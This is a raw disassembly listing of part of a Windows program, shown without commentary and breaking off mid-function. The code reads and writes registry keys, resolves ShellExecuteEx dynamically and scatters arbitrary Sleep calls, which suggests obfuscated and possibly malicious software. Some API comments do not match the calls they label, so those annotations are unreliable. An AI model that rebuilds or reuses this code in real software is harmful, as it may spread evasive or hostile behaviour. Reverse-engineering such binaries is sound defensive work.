mov byte ptr [ebp-4], 8
call sub_431796
mov ecx, edi
mov byte ptr [ebp-4], 3
call sub_425353
push dword ptr [edi+20h]
lea ebx, [edi+20h]
push dword ptr [ebp-14h]
call dword_4331EC ; _mbscmp
pop ecx
test eax, eax
pop ecx
jz short loc_426229
push dword ptr [ebp-18h]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_4261ED
push 1
push dword ptr [ebp-18h]
call sub_421C92
pop ecx
pop ecx
loc_4261ED: ; CODE XREF: sub_426022+1BDj
push dword ptr [ebp-14h]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_42620A
push 1
push dword ptr [ebp-18h]
push dword ptr [ebp-14h]
call sub_421D8A
add esp, 0Ch
loc_42620A: ; CODE XREF: sub_426022+1D6j
mov eax, [ebx]
push 1
push dword ptr [ebp-14h]
push eax
call sub_421D8A
add esp, 0Ch
test eax, eax
jz short loc_426229
lea eax, [ebp-14h]
mov ecx, ebx
push eax
call sub_4317A8
loc_426229: ; CODE XREF: sub_426022+1B0j
; sub_426022+1FAj
push 80000002h
push 1
push ecx
mov ecx, esp
mov [ebp-30h], esp
push offset aDefaultvalue ; "defaultvalue"
call sub_43178A
push ecx
mov ecx, edi
mov eax, esp
mov [ebp-2Ch], esp
push 72h
push offset a11866787a5f240 ; "11866787A5F240675EE6610530A652BC94C74E7"...
push eax
mov byte ptr [ebp-4], 9
call sub_4230F8
lea ecx, [ebp-74h]
mov byte ptr [ebp-4], 3
call sub_42692B
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Ah
call sub_4317AE
push offset aWr ; "WR"
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Bh
call sub_43179C
push 20h
call esi ; Sleep
push offset aVersion_1 ; "\\version"
lea ecx, [ebp-1Ch]
call sub_4317D8
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-30h], esp
push edi
call sub_431796
push ecx
lea eax, [ebp-1Ch]
mov ecx, esp
mov [ebp-2Ch], esp
push eax
mov byte ptr [ebp-4], 0Ch
call sub_431796
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 0Bh
call sub_42692B
lea eax, [ebp-24h]
lea ecx, [ebp-74h]
push eax
mov byte ptr [ebp-4], 0Dh
call sub_426D5C
lea eax, [ebp-24h]
lea ecx, [ebp-2Ch]
push eax
mov byte ptr [ebp-4], 0Eh
call sub_431796
push eax
lea ecx, [edi+24h]
mov byte ptr [ebp-4], 0Fh
call sub_4317A8
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 0Eh
call sub_4317A2
lea ecx, [ebp-24h]
mov byte ptr [ebp-4], 0Dh
call sub_4317A2
push dword ptr [edi]
mov ebx, dword_4331A8
call ebx ; atoi
pop ecx
mov [ebp-2Ch], eax
mov dword ptr [ebp-4], 0Dh
push 2Ah
call esi ; Sleep
and dword ptr [ebp-20h], 0
lea eax, [edi+14h]
mov [ebp-24h], eax
loc_42632D: ; CODE XREF: sub_426022+358j
lea eax, [ebp-28h]
lea ecx, [ebp-54h]
push eax
call sub_426D5C
mov ecx, [ebp-24h]
lea eax, [ebp-28h]
push eax
mov byte ptr [ebp-4], 12h
call sub_4317A8
lea ecx, [ebp-28h]
mov byte ptr [ebp-4], 0Dh
call sub_4317A2
mov eax, [ebp-24h]
push dword ptr [eax]
call ebx ; atoi
cmp eax, [ebp-2Ch]
pop ecx
mov [ebp-30h], eax
mov dword ptr [ebp-4], 0Dh
jge short loc_42637C
push 13A9h
call esi ; Sleep
inc dword ptr [ebp-20h]
cmp dword ptr [ebp-20h], 0Ah
jl short loc_42632D
loc_42637C: ; CODE XREF: sub_426022+348j
mov eax, [ebp-2Ch]
cmp [ebp-30h], eax
jle short loc_42638A
mov byte ptr [edi+18h], 1
jmp short loc_4263A4
; ---------------------------------------------------------------------------
loc_42638A: ; CODE XREF: sub_426022+360j
and byte ptr [edi+18h], 0
push ecx
mov ecx, esp
mov [ebp-30h], esp
push dword ptr [ebp-24h]
call sub_431796
lea ecx, [ebp-54h]
call sub_426DB8
loc_4263A4: ; CODE XREF: sub_426022+366j
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 0Bh
call sub_426ABF
lea ecx, [ebp-1Ch]
mov byte ptr [ebp-4], 0Ah
call sub_4317A2
lea ecx, [ebp-74h]
mov byte ptr [ebp-4], 3
call sub_426ABF
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 2
call sub_4317A2
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [ebp-14h]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp+8]
call sub_4317A2
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_426022 endp
; =============== S U B R O U T I N E =======================================
sub_42640B proc near ; CODE XREF: sub_422C48+265p
mov eax, offset loc_43247C
call sub_4318CA ; _EH_prolog
sub esp, 0Ch
push ebx
push esi
push edi
mov ebx, ecx
mov [ebp-10h], esp
push offset aShell32_dll ; "shell32.dll"
call dword_4330DC ; LoadLibraryA
test eax, eax
mov [ebp-14h], eax
jz short loc_42647D
push offset aShellexecuteex ; "ShellExecuteEx"
push eax
call dword_433060 ; GetProcAddress
mov edi, eax
test edi, edi
jz short loc_426474
mov esi, dword_4330E0
push 26h
call esi ; Sleep
push ecx
mov ecx, esp
mov [ebp-18h], esp
push offset aSei ; "sei \n"
call sub_43178A
mov ecx, ebx
call sub_424B35
push 2Ah
call esi ; Sleep
and dword ptr [ebp-4], 0
mov eax, eax
push dword ptr [ebp+8]
call edi ; lstrcpyA
loc_426474: ; CODE XREF: sub_42640B+37j
; DATA XREF: sub_426490o
push dword ptr [ebp-14h]
call dword_433054 ; FreeLibrary
loc_42647D: ; CODE XREF: sub_42640B+25j
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_42640B endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; DATA XREF: TEUm:004356DCo
mov eax, offset loc_426474
retn
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_426496 proc near ; CODE XREF: sub_424B41+3FEp
; sub_424B41+416p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call dword_433074 ; lstrcatA
retn 8
sub_426496 endp
; =============== S U B R O U T I N E =======================================
sub_4264A7 proc near ; CODE XREF: sub_423489+61p
; sub_423489+BC9p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push edi
mov edi, [esi]
cmp edi, eax
jz short loc_4264CB
test eax, eax
mov [esi], eax
jz short loc_4264C1
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_4264C1: ; CODE XREF: sub_4264A7+12j
test edi, edi
jz short loc_4264CB
mov eax, [edi]
push edi
call dword ptr [eax+8]
loc_4264CB: ; CODE XREF: sub_4264A7+Cj
; sub_4264A7+1Cj
mov eax, esi
pop edi
pop esi
retn 4
sub_4264A7 endp
; =============== S U B R O U T I N E =======================================
sub_4264D2 proc near ; CODE XREF: sub_423489+69p
; sub_423489+BD4p ...
mov eax, [ecx]
test eax, eax
jz short locret_4264DE
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_4264DE: ; CODE XREF: sub_4264D2+4j
retn
sub_4264D2 endp
; =============== S U B R O U T I N E =======================================
sub_4264DF proc near ; CODE XREF: sub_423489+77p
; sub_423489+47Ap ...
arg_0 = dword ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4264F3
push 80004003h
call sub_431AB2
loc_4264F3: ; CODE XREF: sub_4264DF+8j
xor eax, eax
cmp [esi], eax
pop esi
setz al
retn 4
sub_4264DF endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_432499
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_4281D0
mov dword ptr [ebp-4], 0
mov eax, [ebp-10h]
mov dword ptr [eax+10h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+14h], 0
push offset dword_439CB8
mov ecx, [ebp-10h]
add ecx, 8
call sub_43179C
mov edx, [ebp-10h]
mov dword ptr [edx], 80000001h
mov eax, [ebp-10h]
mov dword ptr [eax+18h], 0
mov ecx, [ebp-10h]
mov dword ptr [ecx+1Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426584 proc near ; CODE XREF: sub_423489+3B6p
; sub_424B41+267p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_426584
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov [ebp+var_18], ecx
mov [ebp+var_4], 0
mov ecx, [ebp+var_18]
call sub_4281D0
mov byte ptr [ebp+var_4], 1
mov eax, [ebp+var_18]
mov dword ptr [eax+10h], 0
mov ecx, [ebp+var_18]
mov edx, [ebp+arg_4]
mov [ecx+14h], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+arg_8]
mov [eax+1Ch], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+arg_C]
mov [edx], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx+18h], 0
push offset asc_437534 ; "\\"
lea ecx, [ebp+arg_0]
call sub_4317F6
push 5Ch
lea ecx, [ebp+arg_0]
call sub_4317C6
push eax
lea edx, [ebp+var_10]
push edx
lea ecx, [ebp+arg_0]
call sub_4317C0
mov [ebp+var_1C], eax
mov eax, [ebp+var_1C]
mov [ebp+var_20], eax
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_20]
push ecx
mov ecx, [ebp+var_18]
add ecx, 0Ch
call sub_4317A8
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_10]
call sub_4317A2
push offset asc_437538 ; "\\"
mov ecx, [ebp+var_18]
add ecx, 0Ch
call sub_4317F0
lea ecx, [ebp+arg_0]
call sub_428280
mov esi, eax
push 5Ch
lea ecx, [ebp+arg_0]
call sub_4317C6
sub esi, eax
push esi
lea edx, [ebp+var_14]
push edx
lea ecx, [ebp+arg_0]
call sub_4317EA
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_28], eax
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_28]
push ecx
mov ecx, [ebp+var_18]
add ecx, 8
call sub_4317A8
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_14]
call sub_4317A2
push offset asc_43753C ; "\\"
mov ecx, [ebp+var_18]
add ecx, 8
call sub_4317F6
push offset asc_437540 ; "\\"
mov ecx, [ebp+var_18]
add ecx, 8
call sub_4317F0
mov ecx, [ebp+var_18]
call sub_4266E9
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_4317A2
mov eax, [ebp+var_18]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 10h
sub_426584 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4266D6 proc near ; CODE XREF: sub_423489+3D7p
; sub_424B41+6ACp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_428230
mov esp, ebp
pop ebp
retn
sub_4266D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4266E9 proc near ; CODE XREF: sub_426584+12Ap
; sub_426816+24p
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_C], ecx
mov eax, [ebp+var_C]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_C]
add ecx, 0Ch
call sub_4226A0
push eax
mov ecx, [ebp+var_C]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz short loc_426785
mov [ebp+var_4], 4
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_C]
add ecx, 10h
push ecx
lea edx, [ebp+var_8]
push edx
push 0
mov ecx, [ebp+var_C]
add ecx, 8
call sub_4226A0
push eax
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz short loc_426770
mov edx, [ebp+var_C]
mov dword ptr [edx+18h], 1
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+10h]
jmp short loc_42678B
; ---------------------------------------------------------------------------
loc_426770: ; CODE XREF: sub_4266E9+66j
mov eax, [ebp+var_C]
mov ecx, [eax+4]
push ecx
call dword_433000 ; RegCloseKey
mov edx, [ebp+var_C]
mov eax, [edx+14h]
jmp short loc_42678B
; ---------------------------------------------------------------------------
loc_426785: ; CODE XREF: sub_4266E9+31j
mov eax, [ebp+var_C]
mov eax, [eax+14h]
loc_42678B: ; CODE XREF: sub_4266E9+85j
; sub_4266E9+9Aj
mov esp, ebp
pop ebp
retn
sub_4266E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42678F proc near ; CODE XREF: sub_426843+2Cp
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CBC
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_4267D1
jmp short loc_426812
; ---------------------------------------------------------------------------
loc_4267D1: ; CODE XREF: sub_42678F+3Ej
push 4
mov ecx, [ebp+var_8]
add ecx, 10h
push ecx
push 4
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_426805
mov ecx, [ebp+var_8]
mov dword ptr [ecx+18h], 1
loc_426805: ; CODE XREF: sub_42678F+6Aj
mov edx, [ebp+var_8]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
loc_426812: ; CODE XREF: sub_42678F+40j
mov esp, ebp
pop ebp
retn
sub_42678F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426816 proc near ; CODE XREF: sub_424B41+276p
; sub_425642+98p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_426837
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+1Ch], 0
jnz short loc_426837
mov edx, [ebp+var_4]
mov eax, [edx+10h]
jmp short loc_42683F
; ---------------------------------------------------------------------------
loc_426837: ; CODE XREF: sub_426816+Ej
; sub_426816+17j
mov ecx, [ebp+var_4]
call sub_4266E9
loc_42683F: ; CODE XREF: sub_426816+1Fj
mov esp, ebp
pop ebp
retn
sub_426816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426843 proc near ; CODE XREF: sub_423489+3C8p
; sub_425642+D5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
cmp ecx, [eax+10h]
jnz short loc_426863
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_426863
mov eax, [ebp+var_4]
jmp short loc_426877
; ---------------------------------------------------------------------------
loc_426863: ; CODE XREF: sub_426843+10j
; sub_426843+19j
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax+10h], ecx
mov ecx, [ebp+var_4]
call sub_42678F
mov eax, [ebp+var_4]
loc_426877: ; CODE XREF: sub_426843+1Ej
mov esp, ebp
pop ebp
retn 4
sub_426843 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_4324F2
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp-10h], ecx
mov ecx, [ebp-10h]
call sub_4281D0
mov dword ptr [ebp-4], 0
mov ecx, [ebp-10h]
add ecx, 10h
call sub_4317AE
mov byte ptr [ebp-4], 1
mov ecx, [ebp-10h]
add ecx, 14h
call sub_4317AE
mov byte ptr [ebp-4], 2
push offset dword_439CC0
mov ecx, [ebp-10h]
add ecx, 10h
call sub_43179C
push offset dword_439CC4
mov ecx, [ebp-10h]
add ecx, 14h
call sub_43179C
push offset dword_439CC8
mov ecx, [ebp-10h]
add ecx, 8
call sub_43179C
mov eax, [ebp-10h]
mov dword ptr [eax], 80000001h
mov ecx, [ebp-10h]
mov dword ptr [ecx+18h], 0
mov edx, [ebp-10h]
mov dword ptr [edx+1Ch], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42692B proc near ; CODE XREF: sub_423489+175p
; sub_423489+296p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42692B
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push esi
mov [ebp+var_1C], ecx
mov [ebp+var_4], 1
mov ecx, [ebp+var_1C]
call sub_4281D0
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_1C]
add ecx, 10h
call sub_4317AE
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_1C]
add ecx, 14h
call sub_4317AE
mov byte ptr [ebp+var_4], 4
push offset dword_439CCC
mov ecx, [ebp+var_1C]
add ecx, 10h
call sub_43179C
lea eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_1C]
add ecx, 14h
call sub_4317A8
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_8]
mov [ecx+1Ch], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_C]
mov [eax], ecx
mov edx, [ebp+var_1C]
mov dword ptr [edx+18h], 0
push offset asc_437544 ; "\\"
lea ecx, [ebp+arg_0]
call sub_4317F6
push 5Ch
lea ecx, [ebp+arg_0]
call sub_4317C6
push eax
lea eax, [ebp+var_10]
push eax
lea ecx, [ebp+arg_0]
call sub_4317C0
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov byte ptr [ebp+var_4], 5
mov edx, [ebp+var_24]
push edx
mov ecx, [ebp+var_1C]
add ecx, 0Ch
call sub_4317A8
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_10]
call sub_4317A2
push offset asc_437548 ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 0Ch
call sub_4317F0
lea ecx, [ebp+arg_0]
call sub_428280
mov esi, eax
push 5Ch
lea ecx, [ebp+arg_0]
call sub_4317C6
sub esi, eax
push esi
lea eax, [ebp+var_14]
push eax
lea ecx, [ebp+arg_0]
call sub_4317EA
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
mov [ebp+var_2C], ecx
mov byte ptr [ebp+var_4], 6
mov edx, [ebp+var_2C]
push edx
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_4317A8
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_14]
call sub_4317A2
push offset asc_43754C ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_4317F6
push offset asc_437550 ; "\\"
mov ecx, [ebp+var_1C]
add ecx, 8
call sub_4317F0
lea eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_1C]
call sub_426B19
lea ecx, [ebp+var_18]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+arg_0]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_4]
call sub_4317A2
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop esi
mov esp, ebp
pop ebp
retn 10h
sub_42692B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426ABF proc near ; CODE XREF: sub_423489+1A5p
; sub_423489+2C6p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_426ABF
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 14h
call sub_4317A2
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 10h
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
call sub_428230
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_426ABF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B19 proc near ; CODE XREF: sub_42692B+158p
; sub_426D5C+45p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_426B19
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 2Ch
mov [ebp+var_30], ecx
mov [ebp+var_2C], 0
mov eax, [ebp+var_30]
add eax, 4
push eax
push 20019h
push 0
mov ecx, [ebp+var_30]
add ecx, 0Ch
call sub_4226A0
push eax
mov ecx, [ebp+var_30]
mov edx, [ecx]
push edx
call dword_433004 ; RegOpenKeyExA
test eax, eax
jnz loc_426C98
mov [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 0
lea ecx, [ebp+var_18]
push ecx
push 0
mov ecx, [ebp+var_30]
add ecx, 8
call sub_4226A0
push eax
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_433010 ; RegQueryValueExA
mov ecx, [ebp+var_10]
push ecx
call sub_431784
add esp, 4
mov [ebp+var_1C], eax
mov edx, [ebp+var_1C]
mov [ebp+var_14], edx
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_14]
push ecx
lea edx, [ebp+var_18]
push edx
push 0
mov ecx, [ebp+var_30]
add ecx, 8
call sub_4226A0
push eax
mov eax, [ebp+var_30]
mov ecx, [eax+4]
push ecx
call dword_433010 ; RegQueryValueExA
test eax, eax
jnz loc_426C5C
mov edx, [ebp+var_14]
push edx
lea ecx, [ebp+var_20]
call sub_43178A
mov [ebp+var_34], eax
mov eax, [ebp+var_34]
mov [ebp+var_38], eax
mov [ebp+var_4], 0
mov ecx, [ebp+var_38]
push ecx
mov ecx, [ebp+var_30]
add ecx, 10h
call sub_4317A8
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_20]
call sub_4317A2
mov edx, [ebp+var_14]
mov [ebp+var_24], edx
mov eax, [ebp+var_24]
push eax
call sub_43177E
add esp, 4
mov ecx, [ebp+var_30]
mov dword ptr [ecx+18h], 1
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
mov ecx, [ebp+var_30]
add ecx, 10h
push ecx
mov ecx, [ebp+arg_0]
call sub_431796
mov edx, [ebp+var_2C]
or edx, 1
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
jmp short loc_426CB3
; ---------------------------------------------------------------------------
loc_426C5C: ; CODE XREF: sub_426B19+BDj
mov eax, [ebp+var_14]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
push ecx
call sub_43177E
add esp, 4
mov edx, [ebp+var_30]
mov eax, [edx+4]
push eax
call dword_433000 ; RegCloseKey
mov ecx, [ebp+var_30]
add ecx, 14h
push ecx
mov ecx, [ebp+arg_0]
call sub_431796
mov edx, [ebp+var_2C]
or edx, 1
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
jmp short loc_426CB3
; ---------------------------------------------------------------------------
loc_426C98: ; CODE XREF: sub_426B19+4Dj
mov eax, [ebp+var_30]
add eax, 14h
push eax
mov ecx, [ebp+arg_0]
call sub_431796
mov ecx, [ebp+var_2C]
or ecx, 1
mov [ebp+var_2C], ecx
mov eax, [ebp+arg_0]
loc_426CB3: ; CODE XREF: sub_426B19+141j
; sub_426B19+17Dj
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn 4
sub_426B19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426CC3 proc near ; CODE XREF: sub_426DB8+73p
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
add ecx, 4
push ecx
push 0
push 20006h
push 0
push offset dword_439CD0
push 0
mov ecx, [ebp+var_8]
add ecx, 0Ch
call sub_4226A0
push eax
mov edx, [ebp+var_8]
mov eax, [edx]
push eax
call dword_43300C ; RegCreateKeyExA
test eax, eax
jz short loc_426D05
jmp short loc_426D58
; ---------------------------------------------------------------------------
loc_426D05: ; CODE XREF: sub_426CC3+3Ej
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_428280
add eax, 1
push eax
mov ecx, [ebp+var_8]
add ecx, 10h
call sub_4226A0
push eax
push 1
push 0
mov ecx, [ebp+var_8]
add ecx, 8
call sub_4226A0
push eax
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433008 ; RegSetValueExA
test eax, eax
jnz short loc_426D4B
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
loc_426D4B: ; CODE XREF: sub_426CC3+7Cj
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx
call dword_433000 ; RegCloseKey
loc_426D58: ; CODE XREF: sub_426CC3+40j
mov esp, ebp
pop ebp
retn
sub_426CC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D5C proc near ; CODE XREF: sub_424B41+3BEp
; sub_424B41+516p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], ecx
mov [ebp+var_4], 0
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_426D9A
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+1Ch], 0
jnz short loc_426D9A
mov edx, [ebp+var_8]
add edx, 10h
push edx
mov ecx, [ebp+arg_0]
call sub_431796
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
jmp short loc_426DB2
; ---------------------------------------------------------------------------
loc_426D9A: ; CODE XREF: sub_426D5C+17j
; sub_426D5C+20j
mov ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_8]
call sub_426B19
mov edx, [ebp+var_4]
or edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_0]
loc_426DB2: ; CODE XREF: sub_426D5C+3Cj
mov esp, ebp
pop ebp
retn 4
sub_426D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426DB8 proc near ; CODE XREF: sub_423489+196p
; sub_423489+2B7p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_426DB8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
mov [ebp+var_18], ecx
mov [ebp+var_4], 0
mov eax, [ebp+var_18]
add eax, 10h
push eax
lea ecx, [ebp+arg_0]
push ecx
call sub_4282C0
and eax, 0FFh
test eax, eax
jz short loc_426E19
mov edx, [ebp+var_18]
cmp dword ptr [edx+1Ch], 0
jnz short loc_426E19
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+arg_0]
call sub_4317A2
mov eax, [ebp+var_10]
jmp short loc_426E48
; ---------------------------------------------------------------------------
loc_426E19: ; CODE XREF: sub_426DB8+3Cj
; sub_426DB8+45j
lea ecx, [ebp+arg_0]
push ecx
mov ecx, [ebp+var_18]
add ecx, 10h
call sub_4317A8
mov ecx, [ebp+var_18]
call sub_426CC3
mov edx, [ebp+var_18]
